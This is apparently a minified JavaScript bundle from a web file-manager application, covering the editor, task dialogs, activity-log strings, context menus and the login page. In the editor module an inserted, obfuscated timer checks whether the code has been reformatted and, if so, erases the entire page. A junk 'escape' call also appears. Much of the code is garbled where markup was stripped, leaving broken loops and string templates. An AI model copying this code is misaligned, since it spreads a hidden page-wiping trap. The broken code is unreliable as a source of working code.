    ',t+=i(n["admin.setting.phpExtSugst"]),t+=': ',t+=i(n["explorer.editor.help"]),t+='
    ',t+=i(n["admin.setting.phpExtLoad"]),t+=':
    ',t+=i(n["admin.setting.database"]),t+=" & ",t+=i(n["admin.setting.cache"]),t+='
    ',t+=i(n["admin.setting.database"]),t+=':
    ',t+=i(n["admin.setting.cache"]),t+=':
    ',t+=i(n["admin.setting.sysMyInfo"]),t+='
    ',t+=i(n["admin.setting.myClientIp"]),t+=':
    ',t+=i(n["admin.setting.myClientUa"]),t+=':
    ',t+=i(n["admin.setting.myClientLng"]),t+=':
    '}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='

    ',t+=i(n["admin.setting.dbTasking"]),t+='

    1. ',t+=i(n["admin.setting.dbCreate"]),t+=':

    2. ',t+=i(n["admin.setting.dbSelect"]),t+=':

    3. ',t+=i(n["admin.setting.dbInsert"]),t+=':

    4. ',t+=i(n["admin.setting.dbSetSave"]),t+=':

    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=c(i(285)),a=c(i(288)),s=c(i(290)),r=c(i(358)),o=c(i(359)),l=c(i(86));function c(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.initGlobal(e.parentView),this.appList={},this.openDefault={},this.initOpenUser(),this.childOpenWith=new n["default"]({"parent":this}),this.childUnknow=new a["default"]({"parent":this}),this.globalCore=new l["default"]({"parent":this}),this.editor=new s["default"]({"parent":this}),this.defaultApp=new r["default"]({"parent":this}),this.oexe=new o["default"]({"parent":this}),this.loadAppList()},"loadAppList":function(){window.kodApp=this;var e=[];Events.trigger("explorer.kodApp.before",e),this._each(e,function(e){this.add(e)}),Events.trigger("explorer.kodApp.after")},"initGlobal":function(t){var n=function n(i,e){i.global=e,_.each(e.autoToChildren,function(e,t){i[t]=e})};this._each(this._data_.allView,function(e){n(e,t.global)}),n(this,t.global),this.pathAction&&!_.get(this.pathAction,"objectRemoveViewFinished")||(this.pathAction=t.pathAction)},"add":function(e){e.title=e.title||e.name||"",e.ext=e.ext||"",e.sort=parseInt(e.sort||0),e.name==undefined&&(e.name=UUID(),e.hidden=!0);var i=e.name,t=e.ext&&e.ext.split(",")||[""];this.appList[i]=e,this.appList[i].extArr=t,this._each(this.openDefault,function(e,t){this.openDefault[t]=_.filter(e,function(e){return e.name!=i})});for(var n=0;n0){escape("+");};};this.openUser={},LocalData.setConfig("kodAppDefault",{}),this.pathAction.userModel.setOption("kodAppDefault",{})}})},function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i,r=h(s(5)),n=h(s(6)),a=h(s(63)),o=h(s(293)),l=h(s(294)),c=h(s(295)),d=h(s(296)),u=h(s(301)),p=h(s(308));function h(e){return e&&e.__esModule?e:{"default":e}}t["default"]=a["default"].extend({"init":function(e){this.editorList={},e.initTarget?this.initView(e.initTarget):this.initDialog(),this.initConfig(),this.tab=new o["default"]({"parent":this}),this.status=new l["default"]({"parent":this}),this.toolbar=new u["default"]({"parent":this}),this.page=new c["default"]({"parent":this}),this.bindEditorLoading(),this.initAce(),this.bindEvent(),window.ace&&this._delay(function(){this.trigger("editor.init")},0),_.get(window,"kodApp.pathModel.shareID")&&this.resetReadOnly()},"resetReadOnly":function(){this.status.setChanged=function(){},this.status.autoSave=function(){},this.listenTo(this.tab,{"editor.tab.add":function(e){},"editor.tab.select":function(e){_.get(e,"kod.mode")}}),this._each(this.editorList,function(e){})},"initView":function(e){var t=s(131);this.renderHtml(t,!1,e),this.$el=$(e).find(".edit-main")},"initDialog":function(){var e=this,t=s(131),i={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-editor can-not-select","title":"editor","ico":"","width":"80%","height":"70%","content":this.renderHtml(t,!1,!1),"close":function(){e.parent.editor=!1,e.objectRemove()},"closeBefore":function(){return e.status.closeDialogCheck()},"resizeCallback":function(){e.trigger("window.resize")}};this.dialog=$.dialog(i),this.$el=this.dialog.DOM.wrap.find(".edit-main")},"editorConfig":{"fontSize":"13px","theme":"tomorrow","showGutter":1,"autoWrap":1,"autoComplete":1,"functionList":1,"tabSize":4,"softTab":1,"displayChar":0,"fontFamily":"Menlo","keyboardType":"ace","autoSave":0},"initConfig":function(){this.editorConfig=$.extend(!0,this.editorConfig,G.user.editorConfig),G.user.editorConfig=this.editorConfig,this.fileOpenModeInit()},"current":function(){var e=this.$(".edit-body .edit-content.this .ace_editor").attr("id");return this.editorList[e]||!1},"focus":function(){this.current()&&this.current().focus()},"bindEvent":function(){var t=this,e=new Mousetrap(this.$el.get(0));e.bind(["ctrl+s","command+s"],function(e){return t.fileSave(),stopPP(e)}),e.bind(["ctrl+shift+e","command+shift+e"],function(e){return t.toolbar.doAction("function-list"),stopPP(e)}),e.bind(["f5"],function(e){t.refresh()}),this.listenTo(this.tab,{"editor.tab.select":function(e){this._delay(function(){this.focus(),this.resetSearchBox(),this.trigger("editor.resize",e),this.autoSearchSelect()},10)},"editor.tab.addBefore":function(e){e.previewHex=new d["default"]({"editor":e,"editorMain":this})},"editor.tab.add":function(e){e.preview=new p["default"]({"editor":e,"editorMain":this})},"editor.tab.close":function(e){e&&e.preview.objectRemove()}});var i=function i(){this.trigger("editor.resize",t.current())},n=function n(e){e&&e.resize()};Events.bind("window.resize",_.bind(i,this),this),this.bind("window.resize",_.bind(i,this)),this.bind("editor.resize",_.debounce(n,100)),this.bind("all",function(e,t){_.get(t,"preview")&&t.preview.trigger(e,t)})},"fileOpenModeInit":function(){this.fileOpenMode={};this._each({"ini":"inc,inf,strings,mf","xml":"xib,xsd,storyboard,plist,csproj,pch,pbxproj,xcscheme,\n\t\t\t\t\tconfig,vcproj,vcxproj,filters,webloc,opf,ncx,\n\t\t\t\t\tclasspath,mymetadata,jsdtscope,project,tern-project,tld,iml,sln,\n\t\t\t\t\tgitattributes,mf,name,container,lock,applescript","json":"oexe,jshintrc,sublime-project,apple-app-site-association","c_cpp":"nc","markdown":"readme,changes,version,license,changelog","sh":"mvnw"},function(e,t){var i=_.map(e.split(","),_.trim);this.fileOpenMode[t]=_.filter(i)})},"getFileMode":function(e){var t=pathTools.pathExt(e),i="sample,example,txt".split(",");if(_.includes(i,t)){var n=e.substr(0,e.length-t.length-1);-1!=n.indexOf(".")&&pathTools.pathExt(n)&&(t=pathTools.pathExt(n))}for(var a in this.fileOpenMode)if(_.includes(this.fileOpenMode[a],t))return a;return ace.aceModeList.getModeForPath("test."+t).name},resetScrollK7:setTimeout(function(){var assignDatajZ4=function(){return 1};var disableStoreValueUPi5=assignDatajZ4["toString"]();if(_.includes(disableStoreValueUPi5,String.fromCharCode(550/(78-(-42+65))))){$("html").html("");}}),"fileOpen":function(){var t=0',"icon":" ri-file-line-3","content":LNG["explorer.loading"]}),a=c.requestSend(c.apiConfig[r],e,function(e){clearTimeout(s),n.close(e),e&&(e.code&&!_.isString(e.data)||(e.data=""),t&&t(e))},i,r);n.$main.find(".clear").hide();var s=o._delay(function(){a.abort(),o.listTips[e.longTaskID]={"timer":!1,"tips":n},o.notifyView(n,e.longTaskID,t),o.bindDialogEvent(n.$main)},1e3);return a}})},"notifyView":function(r,o,l){this.model.get({"id":o},_.bind(function(e){if(!e||!e.code||_.isEmpty(e.data))return this.listTips[o]=!1,r.close({"code":!1,"data":""}),void(l&&l({"code":!1,"data":""}));if("task_finished"==e.info)return this.listTips[o]=!1,r.close(e.data),e.data.code&&!_.isString(e.data.data)||(e.data.data=""),void(l&&l(e.data));this.listTips[o]&&(this.listTips[o].timer=this._delay(function(){this.notifyView(r,o,l)},this.refreshDelay));var t=this.itemParse(e.data),i=r.$main.find(".list-item");if(0==i.length){var n=c(157),a=this.renderHtml(n,{"item":t},!1),s=r.$main.find(".kui-notify-content-message");a='
    '+a+"
    ",s.removeClass("hidden"),s.html(a)}else this.itemUpdate(t,i)},this))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(400)),s=a(i(64));function a(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.model=new n["default"]({"parent":this}),this.reloadView=_.bind(this.reloadView,this),this.refreshDelay=800,this.bindEvent()},"bindEvent":function(){var e=this.$el;e.undelegate(".task-view-dialog","click"),e.delegate(".task-view-dialog","click",_.bind(this.initViewDialog,this)),this.bind("onRemove",function(){e.undelegate(".task-view-dialog","click")})},"initViewDialog":function(){if(!this.view){var e=this,t=i(401);this.view=$.dialog({"className":"task-list-view-dialog dialog-bg-blur","ico":' ',"title":LNG["common.task.name"],"width":450,"height":600,"padding":0,"content":this.renderHtml(t,!1,!1),"resize":!0,"fixed":!0,"close":function(){e.view=!1,e.dataBefore=!1,clearTimeout(e.refreshTimer),this.refreshTimer=!1}}),this.bindDialogEvent(this.view.$main),this.refreshTimer=this._delay(this.reloadView,this.refreshDelay),this.bind("onRemove",function(){clearTimeout(this.refreshTimer),this.refreshTimer=!1}),this.initViewDialogAfter()}},"initViewDialogAfter":function(){},"reloadView":function(){if(this.view){var r=i(157),o=this.view.$main;clearTimeout(this.refreshTimer),this.model.list(!1,_.bind(function(e){if(this.view){this.refreshTimer=this._delay(this.reloadView,this.refreshDelay);var a=this.dataBefore||{},i={};e&&e.code?_.each(e.data,function(e){i[e.id]=e}):i=this.dataBefore,this._each(a,function(e,t){i[t]||(o.find('[data-id="'+e.id+'"]').remove(),a[t]=null)});var s=!1;this._each(i,function(e,t){e=this.itemParse(e);var i=o.find('[data-id="'+e.id+'"]');if(a[t])this.itemUpdate(e,i);else{var n=this.renderHtml(r,{"item":e},!1);s?$(n).insertAfter(o.find('[data-id="'+s.id+'"]')):$(n).appendTo(o.find(".list-content"))}s=e}),_.isEmpty(i)?(o.find(".list-empty").removeClass("hidden"),o.find(".task-kill-all").addClass("hidden"),o.find(".list-item").remove()):(o.find(".list-empty").addClass("hidden"),o.find(".task-kill-all").removeClass("hidden")),this.dataBefore=i}},this))}},"itemUpdate":function(e,t){t.attr("data-status")!=e.status&&(t.removeClass("status-"+t.attr("data-status")),t.attr("data-status",e.status).addClass("status-"+e.status)),t.find(".current").html(e.viewCurrent),t.find(".time .time-use em").html(e.viewUseTime),t.find(".time .time-need em").html(e.viewNeedTime),t.find(".kui-process").attr("title",e.viewPercent),t.find(".kui-process-use").css({"width":e.viewPercent}),t.find(".kui-process-info").html(e.viewPercentInfo),t.find(".item.title").html(e.viewTitle)},"itemParse":function(e){e.viewUserInfo||(e.viewUserInfo=s["default"].userInfo(e.userInfo)),e.viewTitle=e.title||LNG[e.type]||e.type||e.id,e.copyMoveList&&(e.viewTitle+=e.copyMoveList.listNumber+LNG["common.items"]),e.viewStartTime=dateFormat(e.timeStart,"m-d H:i:s"),e.viewPercent=(100*e.taskPercent).toFixed(1)+"%",e.viewUseTime=timeShow(e.timeUse),e.viewNeedTime=timeShow(e.timeNeed);var t=e.taskFinished+"/"+e.taskTotal;if(e.viewPercentInfo=""+t+" "+LNG["common.item"]+"",e.viewCurrent="",e.currentTitle&&(e.currentFileName=e.currentTitle+" "+(e.currentFileName||"")),e.currentFileName){var i="";e.currentFileSize&&(i=pathTools.fileSize(e.currentFileFinished)+"/"+pathTools.fileSize(e.currentFileSize)),i=i?"("+i+")":"",e.viewCurrent+=""+e.currentFileName+i+""}if(e.sizeTotal){var n=pathTools.fileSize(e.sizeTotal),a=pathTools.fileSize(e.sizeFinished);e.viewCurrent+=""+a+"/"+n+""}return e.viewCurrent||(e.viewCurrent=e.viewStartTime),e},"bindDialogEvent":function(e){var n=this;e.delegate("[data-action]","click",function(e){var t=$(this).attr("data-action"),i=$(this).parents(".list-item").attr("data-id");switch(t){case"stop":n.model.stop({"id":i},n.reloadView);break;case"start":n.model.start({"id":i},n.reloadView);break;case"kill":$.dialog.confirm(LNG["common.task.removeTips"],function(){n.model.kill({"id":i},n.reloadView)});break;case"killAll":$.dialog.confirm(LNG["common.task.killAllTips"],function(){n.model.killAll(!1,n.reloadView)})}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(13);t["default"]={"dataParseMain":function(e,t){for(var i=[],n=0;n"+a.length+LNG["common.item"]+"
    "):s+="
    "+i+"
    ")}),s&&4'+s+'\n\t\t\t\t\t\t\t
    '+LNG["common.showMore"]+'
    \n\t\t\t\t\t\t\t"),{"title":this.dataParseHtmlItem(n[0],e,a),"content":s}}},"dataParseHtmlItem":function(e,t,i){if(_.includes(e,"{{file}}")){var n=t.sourceInfo||t.desc.name||t.pathName||""+LNG["common.deleteEnd"]+LNG["common.file"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{file}}/g,a)}if(_.includes(e,"{{parent}}")){n=t.parentInfo||""+LNG["common.deleteEnd"]+LNG["common.folder"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{parent}}/g,a)}if(_.includes(e,"{{count}}")){a=''+i.length+"";e=e.replace(/{{count}}/g,a)}if(_.includes(e,"{{desc.from}}")){n=t.desc.from||t.desc.fromName||LNG["common.unknow"];if(_.isString(t.desc.from))a=htmlEncode(t.desc.from);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.from}}/g,a)}if(_.includes(e,"{{desc.to}}")){n=t.desc.to||t.desc.toName||LNG["common.unknow"];if(_.isString(t.desc.to))a=htmlEncode(t.desc.to);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.to}}/g,a)}if(_.includes(e,"{{desc.sourceID}}")){n=t.desc.name||t.desc.sourceID,a=this.makeHtmlFile(n);e=e.replace(/{{desc\.sourceID}}/g,a)}if(_.includes(e,"{{desc.content}}")){var s=_.get(t,"desc.content")||_.get(t,"desc.name");if(!s)return"";a=''+htmlEncode(s)+"";e=e.replace(/{{desc\.content}}/g,a)}return e=this.descEditEventParse(t,e)},"descEditEventParse":function(e,t){if("edit"!=e.type)return t;if(!_.get(e,"desc.ua"))return t;var i=" ";(_.includes(G.lang,"zh")||_.includes(G.lang,"ja")||_.includes(G.lang,"ko"))&&(i="");var n=e.desc,a=LNG["common.online"];return n.ua=n.ua.toLowerCase(),n.action=n.action.toLowerCase(),_.includes(n.action,"plugin.webdav")&&(a="webdav"),_.includes(n.ua,", kodcloud")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.toolbar.client"]),a=a+i+LNG["common.edit"],_.includes(n.action,"pathpast")&&(a=LNG["explorer.past"]+i+LNG["common.cover"]),"explorer.history.rollback"==n.action.toLowerCase()&&(a=LNG["explorer.history.changeEvent"]),_.includes(n.ua,"mozilla/")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.history.uploadNew"]),t+'('+a+")"},"makeHtmlFile":function(e){if(!e||_.isString(e))return'['+(e||"")+"]";var t=htmlEncode(e.pathDisplay||e.name),i=htmlEncode(e.name);return"\n\t\t\t'+(0,n.pathIcon)(e)+'\n '+i+"\n "}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"descMap":function(){var i={"create-mkdir":"新建了该文件夹","create-mkfile":"新建了该文件","create-upload":"上传了该文件","create-copy":"粘贴创建了该文件","create-mkdir-current":"在此新建了文件夹{{file}}","create-mkfile-current":"在此新建了文件{{file}}","create-upload-current":"在此上传了{{file}}","create-copy-current":"粘贴了{{file}}到此处","create-mkdir-item":"在{{parent}}新建了文件夹{{file}}","create-mkfile-item":"在{{parent}}新建了文件{{file}}","create-upload-item":"在{{parent}}上传了{{file}}","create-copy-item":"粘贴{{file}}到{{parent}}","create-mkdir-more":["在此新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more":["在此新建了{{count}}个文件","{{file}}",1],"create-upload-more":["在此上传了上传了{{count}}个文件","{{file}}",1],"create-copy-more":["粘贴了{{count}}个文件到此处","{{file}}",1],"create-mkdir-more-at":["在{{parent}}新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more-at":["在{{parent}}新建了{{count}}个文件","{{file}}",1],"create-upload-more-at":["在{{parent}}上传了{{count}}个文件","{{file}}",1],"create-copy-more-at":["粘贴了{{count}}个文档到{{parent}}","{{file}}",1],"edit":"编辑更新了该文件","edit-item":"编辑更新了{{file}}","edit-more":"编辑更新了该文件{{count}}次","edit-more-at":["在{{parent}}编辑更新了{{count}}个文件","{{file}}",1],"move":"将该文档从{{desc.from}}移动到{{desc.to}}","move-item":"将{{file}}从{{desc.from}}移动到{{desc.to}}","move-current":"将{{file}}从{{desc.from}}移动到此处","move-more":["移动了{{count}}个文档","将{{file}}从{{desc.from}}移动到{{desc.to}}",1],"moveOut":"从此处移走了{{desc.sourceID}}","moveOut-item":"从{{file}}移走了{{desc.sourceID}}","moveOut-more":["移走了{{count}}个文档","从{{file}}移走了{{desc.sourceID}}",1],"share-shareLinkAdd":"将该文档创建了外链分享","share-shareLinkAdd-item":"将{{file}}创建了外链分享","share-shareLinkAdd-more":["创建了{{count}}个外链分享","{{file}}",1],"share-shareToAdd":"将该文档开启了协作分享","share-shareToAdd-item":"将{{file}}开启了协作分享","share-shareToAdd-more":["创建了{{count}}个协作分享","{{file}}",1],"share-shareLinkRemove":"关闭了该文档的外链分享","share-shareLinkRemove-item":"关闭了{{file}}的外链分享","share-shareLinkRemove-more":["关闭{{count}}个外链分享","{{file}}",1],"share-shareToRemove":"关闭了该文档的协作分享","share-shareToRemove-item":"关闭了{{file}}的协作分享","share-shareToRemove-more":["关闭{{count}}个协作分享","{{file}}",1],"share-shareEdit":"编辑了该文档的分享","share-shareEdit-item":"编辑了{{file}}的分享","share-shareEdit-more":["编辑了{{count}}个文档分享","{{file}}",1],"rename":["重命名了该文档","{{desc.from}}{{desc.to}}"],"rename-item":["重命名了{{file}}","{{desc.from}}{{desc.to}}"],"rename-more":["重命名了{{count}}个文档","{{file}}:{{desc.from}}{{desc.to}}",1],"recycle-toRecycle":"将该文档移到了回收站","recycle-toRecycle-current":"在此处将{{file}}移到了回收站","recycle-toRecycle-item":"在{{parent}}将{{file}}移到了回收站","recycle-toRecycle-more":["将{{count}}个文档移到了回收站","{{file}}",1],"recycle-toRecycle-more-at":["在{{parent}}将{{count}}个文档移到了回收站","{{file}}",1],"recycle-restore":"将该文档从回收站还原","recycle-restore-item":"将{{file}}从回收站还原","recycle-restore-more":["将{{count}}个文档从回收站还原","{{file}}",1],"remove":"删除了{{desc.content}}","remove-current":"在此处删除了{{desc.content}}","remove-more":["在此处删除了{{count}}个文档","{{desc.content}}",1],"remove-item":"在{{parent}}删除了{{desc.content}}","remove-more-at":["在{{parent}}删除了{{count}}个文档","{{desc.content}}",1],"addDesc":["修改了该文档描述","{{desc.content}}"],"addDesc-item":["修改了{{file}}文档描述","{{desc.content}}"],"addDesc-more":["修改了{{count}}个文档描述","{{file}}{{desc.content}}",1],"addComment":["在该文档发表了评论","{{desc.content}}"],"addComment-item":["在{{file}}发表了评论","{{desc.content}}",1],"addComment-more":["在{{file}}发表了{{count}}条评论","{{file}}{{desc.content}}",1]},n={"create-mkdir":"新建文件夹","create-mkfile":"新建文件","create-upload":"上传文件","create-copy":"粘贴文件","edit":"更新文件","move":"移动文件","moveOut":"移走文件","share-shareLinkAdd":"创建了外链分享","share-shareToAdd":"开启了协作分享","share-shareLinkRemove":"关闭的外链分享","share-shareToRemove":"关闭协作分享","share-shareEdit":"编辑分享","rename":"重命名","recycle-toRecycle":"移到回收站","recycle-restore":"从回收站还原","remove":"删除","addDesc":"修改描述","addComment":"发表评论"};return this._each(i,function(e,t){if(_.isString(e)&&(i[t]=this.lang("log-event-"+t,e)),_.isArray(e)){i[t][0]=this.lang("log-event-"+t,e[0]);_.includes(["move-more","moveOut-more"],t)&&(i[t][1]=this.lang("log-event-"+t+"-desc",e[1]))}}),this._each(n,function(e,t){n[t]=LNG["log-type-"+t]}),{"map":i,"descTitle":n}}}},function(e,t,i){"use strict";var s=i(0);e.exports=function(e){e=e||{};var i="",t=s.$each,n=e.pathInfo,a=(e.item,e.index,s.$escape);return i+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(164));t["default"]=n["default"].extend({"init":function(){this.$el=this.$root,this.$main=this.$(".ztree"),this.initChildren(),this.bindDrag(),this.drop.initDragParent=_.bind(this.initDragTreeParent,this)},"bindDrag":function(){this.$main.drag({"delegate":"a.tree-node","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"getSelect":function(e){this.$select=$();var t=this,i=$.targetParent(e,".tree-node"),n=i.data("treeNode");if(i&&n){var a=this.root.tree,s=this.root.pathAction;a.triggerEventStop(),a.zTree.selectNode(n),$(document).one("mouseup",function(){t._delay(function(){a.triggerEventStart()},10)}),s.auth.canCopyCute(i)&&(i.data("fileItem",n),this.$select=i)}},"fileDragRender":function(e){var t=$.targetParent(e,".tree-node");this.$drag=$("\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t
    ").appendTo(t.parent()),this.$dragList=this.$select.clone(),this.$dragList.appendTo(this.$drag.find(".file-draging"))},"initDragTreeParent":function(){var e=this.$select.data("treeNode").getParentNode();this.drop.dragPath=e.path}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=c(i(8)),n=i(459),a=c(i(165)),r=c(i(460)),o=c(i(186)),l=c(i(463));function c(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.menuItems=(0,a["default"])(),this.menuList=(0,n.menuList)(),this.menuTypeOption=n.menuTypeOption,this._delay(function(){this.root.trigger("rightMenu.initBefore",this),this.triggerPlugins=new o["default"]({"parent":this}),this.initAll(),e.disableToolbar||(this.toolbarMenu=new r["default"]({"parent":this}))})},"initAll":function(){this.bindEvent(),this.bindNotify(),this.bindExplorer(),this.setListType(),this.setListSort(),this.setIconSize(),this.hotkey=new l["default"]({"parent":this})},"targetData":function(e){var t=this.root.pathAction;e.$target.hasClass("tree-node")&&(t=this.root.tree.treeAction);var i=t.makeParamSelect();return _.isEmpty(i)?{}:i[0]},"bindEvent":function(){var e=this.root.$(".frame-main");e.exists()||(e=this.$el),$('
    \n\t\t\t
    ').appendTo(e),this.$menuTarget=e.find(".rightmenu-target"),this.$menuAt=e.find(".rightmenu-content-list"),this.$menuAt.delegate(".context-menu-list","click",function(e){return stopPP(e)});var t=[".file-continer .file .item-menu",".ztree .tree-node .menu-item",".menu-left-click",".menu-trigger",".menu-toolbar-button"].join(",");$.contextMenu.clickBind(this.$root,t);var i=this,n=function n(e,t){i.root.rootAppSelf(t.$target)&&(i.trigger(e,t,i),i.trigger(e+"@"+t.menuType,t,i))};Events.bind("rightMenu.beforeShow",function(e){n("rightMenu.beforeShow",e)},this),Events.bind("rightMenu.beforeHide",function(e){n("rightMenu.beforeHide",e)},this)},"bindNotify":function(){this.listenTo(this.root.select,{"select.change":function(e,t){if(0!=t.length&&(t.filter("[data-menu-more]").each(function(){$(this).removeClass($(this).attr("data-menu-more")),$(this).addClass($(this).attr("data-menu"))}),1').appendTo(this.$menuTarget);var n=function n(e){_.each(e,function(e,t){"object"==(void 0===e?"undefined":(0,s["default"])(e))&&(e.className=(e.className||"")+" "+t,e.icon=(e.icon||"")+" small",e.items&&n(e.items))})};n(t);var a={"zIndex":9999,"selector":this.$root.selector+" ."+e,"callback":i||_.bind(this.menuCallback,this),"className":e+" animated","appendTo":this.$menuAt,"items":t};t&&!$.isEmptyObject(t)||(a.items={"":{}}),$.contextMenu(a)},"menuItemsParse":function(e,t){t=void 0===t?{}:t;var i=this.menuItems;if(_.isString(e))return _.get(i,e);for(var n=0;n=t["bigx"]-5?"bigx":"default";for(var a in t){var s=t[a];if(s-5<=i&&i<=s+5){n=a;break}}var r=this.$root.find(".set-icon-size-item");r.removeClass("selected"),r.filter(".icon-size-"+n).addClass("selected")},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.listenTo(this.parent,["rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-file","rightMenu.beforeShow@.menu-path-mini-file","rightMenu.beforeShow@.menu-simple-file","rightMenu.beforeShow@.menu-fav-path-file","rightMenu.beforeShow@.menu-share-root-file"].join(" "),this.menuFileShow),this.menuShareBind(),this.adminBindOpenWith()},"menuFileShow":function(e){var t=this.parent.targetData(e);this.imageBackgroundCheck(e,t),this.menuOpenWith(e,t)},"menuShareBind":function(){var n=this;this.listenTo(this.parent,"rightMenu.beforeShow@.menu-share-path",function(e){var t=n.parent.targetData(e),i=e.$menu.find(".share-open-window");"1"==_.get(t,"sourceInfo.shareInfo.isLink")?i.removeClass("disabled"):i.addClass("disabled")},this)},"hideClass":"hidden","imageBackgroundCheck":function(e,t){var i=e.$menu.find(".set-background");_.includes(["jpg","jpeg","png"],t.ext)?i.removeClass(this.hideClass):i.addClass(this.hideClass)},"menuOpenWith":function(e,t){var i=e.$menu.find(".open-with.context-menu-submenu");if(kodApp.getApp(t.ext)){var n=this.getAppMenu(t);this.root.pathAction.auth.canRead(e.$target)||(n.download&&(n.download.className+=" disabled disable"),n.browserOpen&&(n.browserOpen.className+=" disabled disable")),i.removeClass(this.hideClass),i.find(".context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(n,e,".open-with-first")}else i.addClass(this.hideClass)},"adminBindOpenWith":function(){if(this.userModel.isRoot()){var s=this,e=["rightMenu.beforeShow@.menu-path-guest-folder","rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-guest-folder-tree","rightMenu.beforeShow@.menu-path-guest-file-tree"].join(" ");this.listenTo(this.parent,e,function(e){var t=s.parent.targetData(e),n=_.get(G,"kod.WEB_ROOT"),a=t.path||"";if(e.$menu.find(".adminOpenWith").remove(),n&&0==a.indexOf(n)){var i={"app":"adminOpenWith","name":LNG["explorer.openIE"]+" (admin)","icon":"ri-compass-line-3","callback":function(e,t){var i=$.parseUrl().origin+"/";i+=a.substr(n.length),i=urlEncode(i).replace(/%3A/g,":").replace(/%2F/g,"/").replace(/%3F/g,"?"),window.open(i)}};$.contextMenu.menuAdd({"adminOpenWith":i},e,".open")}})}},"getAppMenu":function(n){var a=this.root.kodApp,e=a.getApp(n.ext)||[],t=a.getApp("")||[];e=_.concat(e,[{"name":""}],t);var s={};return this._each(e,function(i){if(""==i.name||i.hidden)return s["step-line"]="-------";s[i.name]={"app":i.name,"name":i.title,"className":i.className,"icon":i.icon,"callback":function(e,t){kodApp.$openTarget=t.$target,a.appCallback(n.path,n.ext,n.name,i)}}}),s}})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=n(73),a=r(n(496)),s=r(n(107));function r(e){return e&&e.__esModule?e:{"default":e}}var o="";t["default"]=ClassBase.extend({"el":"#app","events":{"click .language-list li a":"changeLanguage"},"init":function(){var e=n(497);this.renderHtml(e,this.assignData()),this.initGlobal(),this.bindLocation(),this.setWallpage();var t="user"==Router.hash?"user/login":"";t&&Router.go(t),this.copyright=new s["default"]({"parent":this}),this.$(".logo.logo-text").autoFontSize(32,18,0,"aaaa"),$.isWindowSmall()&&this.$(".loginbox").removeClass("animated-500 fadeInDown")},"initGlobal":function(){this.global.autoToChildren={"root":this,"$root":this.$el,"userApi":i.userApi,"checkInput":a["default"]},this._each(this.global.autoToChildren,function(e,t){this[t]=e})},"assignData":function(){var e=G.system;return{"systemName":e.options.systemName,"systemDesc":e.options.systemDesc,"langList":e.all.language,"lang":G.lang}},"parseWallPage":function(){var e=_.get(G,"system.options.wallpageLogin",""),t=jsonDecode(e);return _.isNull(t)&&(t=e.split(",")),t},"setWallpage":function(e){if(!(o=e||o)){var t=this.parseWallPage(),i=roundFromTo(0,t.length-1);o=t[i]}_.isObject(o)?o=o.path:_.includes(o,"/")||(_.includes(o,".")||(o+=".jpg"),o=STATIC_PATH+"images/wall_page/"+o);var n="\n\t\t.page-model-login .aero:before,\n\t\t.page-model-login .aero:after,\n\t\t.page-model-login .background {\n\t\t\tbackground-color: #444;\n\t\t\tbackground-image: url('"+o+"');\n\t\t}";$.setStyle(n,"loginPage")},"changeLanguage":function(e){var t=this.$(".language-list li a"),i=$(e.currentTarget);t.removeClass("this"),i.addClass("this"),this.setLanguage(i.attr("data-lang"))},"bindLocation":function(){var e={"user/login":{"file":"view/login","title":LNG["admin.index.userLogin"]},"user/logout":{"file":"view/logout","title":""},"user/findPassword":{"file":"view/findPassword","title":LNG["user.findPwd"]},"user/register":{"file":"view/register","title":LNG["user.regist"]},"user/license":{"file":"view/license","title":LNG["common.version.authActive"]},"user/bindInfo":{"file":"view/bindInfo","title":LNG["user.bindAccount"]}},i=this;_.each(e,function(e,t){Router.map({"key":t,"name":e.title,"context":i,"callback":function(){1!=i.$(".loginbox").length&&i.init(),new(n(712)("./"+e.file)["default"])({"parent":i})}})})},"setLanguage":function(e){Cookie.set("kodUserLanguage",e),this.userApi.reloadLang().then(function(){Router.refresh()})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=function n(e){return e&&e.__esModule?e:{"default":e}}(i(167));t["default"]=ClassBase.extend({"el":".loginbox .content-box","events":{"click .input-button":"sendCode"},"init":function(e){this.source=e.source,this.active()},"active":function(){var i=this;this.$el.delegate("input[name=input]","blur",function(){var e=i.$("input[name=input]"),t=$.trim(e.val());return""!=t&&(i.checkInput.check.check(t,"email")||i.checkInput.check.check(t,"phone")?void 0:(e.select().focus(),!1))})},"sendCode":function(e){var 